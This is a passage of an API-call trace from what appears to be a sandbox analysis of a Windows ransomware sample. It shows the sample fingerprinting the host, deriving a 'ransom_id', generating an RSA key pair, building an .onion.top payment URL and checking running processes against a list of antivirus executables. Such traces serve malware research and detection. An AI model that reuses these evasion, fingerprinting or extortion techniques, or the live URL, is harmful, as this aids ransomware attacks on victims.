hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0126.661] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.661] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.662] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0126.662] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.662] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.663] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.663] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.663] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.664] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.664] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0126.664] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.665] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.665] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0126.665] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.666] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0126.666] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0126.666] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x614, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0126.667] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0126.667] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0126.667] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0126.668] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0126.668] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0126.668] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="ONENOTEM.EXE")) returned 1 [0126.669] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="tubcvd.exe")) returned 1 [0126.669] Process32NextW (in: hSnapshot=0x178, lppe=0x230000 | out: lppe=0x230000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="tubcvd.exe")) returned 0 [0126.669] VirtualFree (lpAddress=0x230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.670] CloseHandle (hObject=0x178) returned 1 [0126.670] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc54 | out: phkResult=0x19fc54*=0x178) returned 0x0 [0126.670] RegQueryValueExW (in: hKey=0x178, lpValueName="Domain", lpReserved=0x0, lpType=0x0, lpData=0x2c4498, lpcbData=0x19fc64*=0x80 | out: lpType=0x0, lpData=0x2c4498*=0x0, lpcbData=0x19fc64*=0x2) returned 0x0 [0126.670] RegCloseKey (hKey=0x178) returned 0x0 [0126.670] wsprintfW (in: param_1=0x2c4498, param_2="WORKGROUP" | out: param_1="WORKGROUP") returned 9 [0126.670] GetWindowsDirectoryW (in: lpBuffer=0x2c4928, uSize=0x100 | out: lpBuffer="C:\\Windows") returned 0xa [0126.670] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x2c4b28, nVolumeNameSize=0x100, lpVolumeSerialNumber=0x2c4f28, lpMaximumComponentLength=0x2c4f30, lpFileSystemFlags=0x2c4f2c, lpFileSystemNameBuffer=0x2c4d28, nFileSystemNameSize=0x100 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x2c4f28*=0xd2ca4def, lpMaximumComponentLength=0x2c4f30*=0xff, lpFileSystemFlags=0x2c4f2c*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0126.670] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc54 | out: phkResult=0x19fc54*=0x178) returned 0x0 [0126.670] RegQueryValueExW (in: hKey=0x178, lpValueName="ProcessorNameString", lpReserved=0x0, lpType=0x0, lpData=0x2c4f34, lpcbData=0x19fc64*=0x80 | out: lpType=0x0, lpData=0x2c4f34*=0x49, lpcbData=0x19fc64*=0x54) returned 0x0 [0126.670] RegCloseKey (hKey=0x178) returned 0x0 [0126.670] lstrlenW (lpString="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHz") returned 41 [0126.670] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc54 | out: phkResult=0x19fc54*=0x178) returned 0x0 [0126.670] RegQueryValueExW (in: hKey=0x178, lpValueName="Identifier", lpReserved=0x0, lpType=0x0, lpData=0x2c4f86, lpcbData=0x19fc64*=0x80 | out: lpType=0x0, lpData=0x2c4f86*=0x49, lpcbData=0x19fc64*=0x4a) returned 0x0 [0126.670] RegCloseKey (hKey=0x178) returned 0x0 [0126.670] wsprintfW (in: param_1=0x2c4520, param_2="%d" | out: param_1="-758493713") returned 10 [0126.670] lstrcatW (in: lpString1="-758493713", lpString2="Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" | out: lpString1="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3" [0126.670] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77460000 [0126.670] GetProcAddress (hModule=0x77460000, lpProcName="RtlComputeCrc32") returned 0x77486b10 [0126.670] lstrlenW (lpString="-758493713Intel(R) Xeon(R) CPU E3-1270 v5 @ 3.60GHzIntel64 Family 6 Model 94 Stepping 3") returned 87 [0126.670] RtlComputeCrc32 (PartialCrc=0x29a, Buffer=0x2c4520, Length=0xae) returned 0xdce1bb8b [0126.670] lstrlenW (lpString="WORKGROUP") returned 9 [0126.670] lstrlenW (lpString="pc_group") returned 8 [0126.670] VirtualAlloc (lpAddress=0x0, dwSize=0x94, flAllocationType=0x3000, flProtect=0x40) returned 0x230000 [0126.671] lstrcatW (in: lpString1="", lpString2="pc_group" | out: lpString1="pc_group") returned="pc_group" [0126.671] lstrcatW (in: lpString1="pc_group", lpString2="=" | out: lpString1="pc_group=") returned="pc_group=" [0126.671] lstrcatW (in: lpString1="pc_group=", lpString2="WORKGROUP" | out: lpString1="pc_group=WORKGROUP") returned="pc_group=WORKGROUP" [0126.671] lstrcatW (in: lpString1="pc_group=WORKGROUP", lpString2="&" | out: lpString1="pc_group=WORKGROUP&") returned="pc_group=WORKGROUP&" [0126.671] VirtualAlloc (lpAddress=0x0, dwSize=0x42, flAllocationType=0x3000, flProtect=0x40) returned 0x240000 [0126.671] wsprintfW (in: param_1=0x240000, param_2="%x%x" | out: param_1="dce1bb8bd2ca4def") returned 16 [0126.671] lstrcatW (in: lpString1="pc_group=WORKGROUP&", lpString2="ransom_id" | out: lpString1="pc_group=WORKGROUP&ransom_id") returned="pc_group=WORKGROUP&ransom_id" [0126.671] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id", lpString2="=" | out: lpString1="pc_group=WORKGROUP&ransom_id=") returned="pc_group=WORKGROUP&ransom_id=" [0126.671] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=", lpString2="dce1bb8bd2ca4def" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def" [0126.671] lstrcatW (in: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def", lpString2="&" | out: lpString1="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&" [0126.671] VirtualFree (lpAddress=0x240000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.671] lstrlenW (lpString="pc_group=WORKGROUP&ransom_id=dce1bb8bd2ca4def&") returned 46 [0126.671] lstrlenW (lpString="ransom_id=") returned 10 [0126.671] lstrcpyW (in: lpString1=0x412430, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0126.671] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0126.671] lstrcpyW (in: lpString1=0x412630, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0126.671] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0126.671] lstrcpyW (in: lpString1=0x4126c4, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0126.671] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0126.671] lstrcpyW (in: lpString1=0x412758, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0126.671] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0126.671] lstrcpyW (in: lpString1=0x4127ec, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0126.671] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0126.671] lstrcpyW (in: lpString1=0x4128be, lpString2="dce1bb8bd2ca4def" | out: lpString1="dce1bb8bd2ca4def") returned="dce1bb8bd2ca4def" [0126.671] lstrlenW (lpString="dce1bb8bd2ca4def") returned 16 [0126.671] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x240000 [0126.671] wsprintfW (in: param_1=0x240000, param_2="%s%s" | out: param_1="http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def") returned 50 [0126.671] VirtualFree (lpAddress=0x230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.671] VirtualAlloc (lpAddress=0x0, dwSize=0x123, flAllocationType=0x3000, flProtect=0x4) returned 0x230000 [0126.672] VirtualAlloc (lpAddress=0x0, dwSize=0x515, flAllocationType=0x3000, flProtect=0x4) returned 0x250000 [0126.672] CryptAcquireContextW (in: phProv=0x19fde4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x19fde4*=0x2c4498) returned 1 [0126.711] CryptGenKey (in: hProv=0x2c4498, Algid=0xa400, dwFlags=0x8000001, phKey=0x19fde8 | out: phKey=0x19fde8*=0x2c7cc0) returned 1 [0127.540] CryptExportKey (in: hKey=0x2c7cc0, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x230000, pdwDataLen=0x19fe1c | out: pbData=0x230000*, pdwDataLen=0x19fe1c*=0x114) returned 1 [0127.540] CryptExportKey (in: hKey=0x2c7cc0, hExpKey=0x0, dwBlobType=0x7, dwFlags=0x0, pbData=0x250000, pdwDataLen=0x19fe18 | out: pbData=0x250000*, pdwDataLen=0x19fe18*=0x494) returned 1 [0127.541] CryptDestroyKey (hKey=0x2c7cc0) returned 1 [0127.541] CryptReleaseContext (hProv=0x2c4498, dwFlags=0x0) returned 1 [0127.541] GetUserNameW (in: lpBuffer=0x2c94f0, pcbBuffer=0x19fce8 | out: lpBuffer="CIiHmnxMn6Ps", pcbBuffer=0x19fce8) returned 1 [0127.541] GetComputerNameW (in: lpBuffer=0x2c2590, nSize=0x19fce8 | out: lpBuffer="LHNIWSJ", nSize=0x19fce8) returned 1 [0127.541] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\services\\Tcpip\\Parameters", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x304) returned 0x0 [0127.541] RegQueryValueExW (in: hKey=0x304, lpValueName="Domain", lpReserved=0x0, lpType=0x0, lpData=0x2c4fe0, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x2c4fe0*=0x0, lpcbData=0x19fc54*=0x2) returned 0x0 [0127.541] RegCloseKey (hKey=0x304) returned 0x0 [0127.541] wsprintfW (in: param_1=0x2c4fe0, param_2="WORKGROUP" | out: param_1="WORKGROUP") returned 9 [0127.541] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Control Panel\\International", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x304) returned 0x0 [0127.541] RegQueryValueExW (in: hKey=0x304, lpValueName="LocaleName", lpReserved=0x0, lpType=0x0, lpData=0x2c8498, lpcbData=0x19fc54*=0x40 | out: lpType=0x0, lpData=0x2c8498*=0x65, lpcbData=0x19fc54*=0xc) returned 0x0 [0127.541] RegCloseKey (hKey=0x304) returned 0x0 [0127.541] wsprintfW (in: param_1=0x2c9de8, param_2="%d" | out: param_1="1") returned 1 [0127.541] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Keyboard Layout\\Preload", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x304) returned 0x0 [0127.541] RegQueryValueExW (in: hKey=0x304, lpValueName="1", lpReserved=0x0, lpType=0x0, lpData=0x2c9df6, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x2c9df6*=0x30, lpcbData=0x19fc54*=0x12) returned 0x0 [0127.541] RegCloseKey (hKey=0x304) returned 0x0 [0127.541] lstrcmpiW (lpString1="00000409", lpString2="00000419") returned -1 [0127.542] wsprintfW (in: param_1=0x2c9de8, param_2="%d" | out: param_1="2") returned 1 [0127.542] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Keyboard Layout\\Preload", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x304) returned 0x0 [0127.542] RegQueryValueExW (in: hKey=0x304, lpValueName="2", lpReserved=0x0, lpType=0x0, lpData=0x2c9df6, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x2c9df6*=0x30, lpcbData=0x19fc54*=0x80) returned 0x2 [0127.542] GetLastError () returned 0xcb [0127.542] RegCloseKey (hKey=0x304) returned 0x0 [0127.542] wsprintfW (in: param_1=0x2c3200, param_2="0" | out: param_1="0") returned 1 [0127.542] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x19fc44 | out: phkResult=0x19fc44*=0x304) returned 0x0 [0127.542] RegQueryValueExW (in: hKey=0x304, lpValueName="productName", lpReserved=0x0, lpType=0x0, lpData=0x2c8520, lpcbData=0x19fc54*=0x80 | out: lpType=0x0, lpData=0x2c8520*=0x57, lpcbData=0x19fc54*=0x1e) returned 0x0 [0127.542] RegCloseKey (hKey=0x304) returned 0x0 [0127.542] GetNativeSystemInfo (in: lpSystemInfo=0x19fcb0 | out: lpSystemInfo=0x19fcb0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0127.542] wsprintfW (in: param_1=0x2a1628, param_2="x64" | out: param_1="x64") returned 3 [0127.542] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x3000, flProtect=0x4) returned 0x3a0000 [0127.542] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x304 [0127.544] Process32FirstW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0127.544] lstrcmpiW (lpString1="AVP.EXE", lpString2="[System Process]") returned 1 [0127.544] lstrcmpiW (lpString1="ekrn.exe", lpString2="[System Process]") returned 1 [0127.544] lstrcmpiW (lpString1="avgnt.exe", lpString2="[System Process]") returned 1 [0127.544] lstrcmpiW (lpString1="ashDisp.exe", lpString2="[System Process]") returned 1 [0127.544] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="[System Process]") returned 1 [0127.544] lstrcmpiW (lpString1="Mcshield.exe", lpString2="[System Process]") returned 1 [0127.544] lstrcmpiW (lpString1="avengine.exe", lpString2="[System Process]") returned 1 [0127.544] lstrcmpiW (lpString1="cmdagent.exe", lpString2="[System Process]") returned 1 [0127.544] lstrcmpiW (lpString1="smc.exe", lpString2="[System Process]") returned 1 [0127.544] lstrcmpiW (lpString1="persfw.exe", lpString2="[System Process]") returned 1 [0127.545] lstrcmpiW (lpString1="pccpfw.exe", lpString2="[System Process]") returned 1 [0127.545] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="[System Process]") returned 1 [0127.545] lstrcmpiW (lpString1="cfp.exe", lpString2="[System Process]") returned 1 [0127.545] lstrcmpiW (lpString1="msmpeng.exe", lpString2="[System Process]") returned 1 [0127.545] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x67, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0127.545] GetLastError () returned 0xcb [0127.545] lstrcmpiW (lpString1="AVP.EXE", lpString2="System") returned -1 [0127.545] lstrcmpiW (lpString1="ekrn.exe", lpString2="System") returned -1 [0127.545] lstrcmpiW (lpString1="avgnt.exe", lpString2="System") returned -1 [0127.545] lstrcmpiW (lpString1="ashDisp.exe", lpString2="System") returned -1 [0127.545] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="System") returned -1 [0127.545] lstrcmpiW (lpString1="Mcshield.exe", lpString2="System") returned -1 [0127.545] lstrcmpiW (lpString1="avengine.exe", lpString2="System") returned -1 [0127.545] lstrcmpiW (lpString1="cmdagent.exe", lpString2="System") returned -1 [0127.545] lstrcmpiW (lpString1="smc.exe", lpString2="System") returned -1 [0127.545] lstrcmpiW (lpString1="persfw.exe", lpString2="System") returned -1 [0127.545] lstrcmpiW (lpString1="pccpfw.exe", lpString2="System") returned -1 [0127.545] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="System") returned -1 [0127.545] lstrcmpiW (lpString1="cfp.exe", lpString2="System") returned -1 [0127.545] lstrcmpiW (lpString1="msmpeng.exe", lpString2="System") returned -1 [0127.545] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0127.546] GetLastError () returned 0xcb [0127.546] lstrcmpiW (lpString1="AVP.EXE", lpString2="smss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="ekrn.exe", lpString2="smss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="avgnt.exe", lpString2="smss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="ashDisp.exe", lpString2="smss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="smss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="Mcshield.exe", lpString2="smss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="avengine.exe", lpString2="smss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="cmdagent.exe", lpString2="smss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="smc.exe", lpString2="smss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="persfw.exe", lpString2="smss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="pccpfw.exe", lpString2="smss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="smss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="cfp.exe", lpString2="smss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="msmpeng.exe", lpString2="smss.exe") returned -1 [0127.546] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0127.546] GetLastError () returned 0xcb [0127.546] lstrcmpiW (lpString1="AVP.EXE", lpString2="csrss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="ekrn.exe", lpString2="csrss.exe") returned 1 [0127.546] lstrcmpiW (lpString1="avgnt.exe", lpString2="csrss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="ashDisp.exe", lpString2="csrss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="csrss.exe") returned 1 [0127.546] lstrcmpiW (lpString1="Mcshield.exe", lpString2="csrss.exe") returned 1 [0127.546] lstrcmpiW (lpString1="avengine.exe", lpString2="csrss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="cmdagent.exe", lpString2="csrss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="smc.exe", lpString2="csrss.exe") returned 1 [0127.546] lstrcmpiW (lpString1="persfw.exe", lpString2="csrss.exe") returned 1 [0127.546] lstrcmpiW (lpString1="pccpfw.exe", lpString2="csrss.exe") returned 1 [0127.546] lstrcmpiW (lpString1="fsguiexe.exe", lpString2="csrss.exe") returned 1 [0127.546] lstrcmpiW (lpString1="cfp.exe", lpString2="csrss.exe") returned -1 [0127.546] lstrcmpiW (lpString1="msmpeng.exe", lpString2="csrss.exe") returned 1 [0127.546] Process32NextW (in: hSnapshot=0x304, lppe=0x3a0000 | out: lppe=0x3a0000*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0127.547] GetLastError () returned 0xcb [0127.547] lstrcmpiW (lpString1="AVP.EXE", lpString2="wininit.exe") returned -1 [0127.547] lstrcmpiW (lpString1="ekrn.exe", lpString2="wininit.exe") returned -1 [0127.547] lstrcmpiW (lpString1="avgnt.exe", lpString2="wininit.exe") returned -1 [0127.547] lstrcmpiW (lpString1="ashDisp.exe", lpString2="wininit.exe") returned -1 [0127.547] lstrcmpiW (lpString1="NortonAntiBot.exe", lpString2="wininit.exe") returned -1 [0127.547] 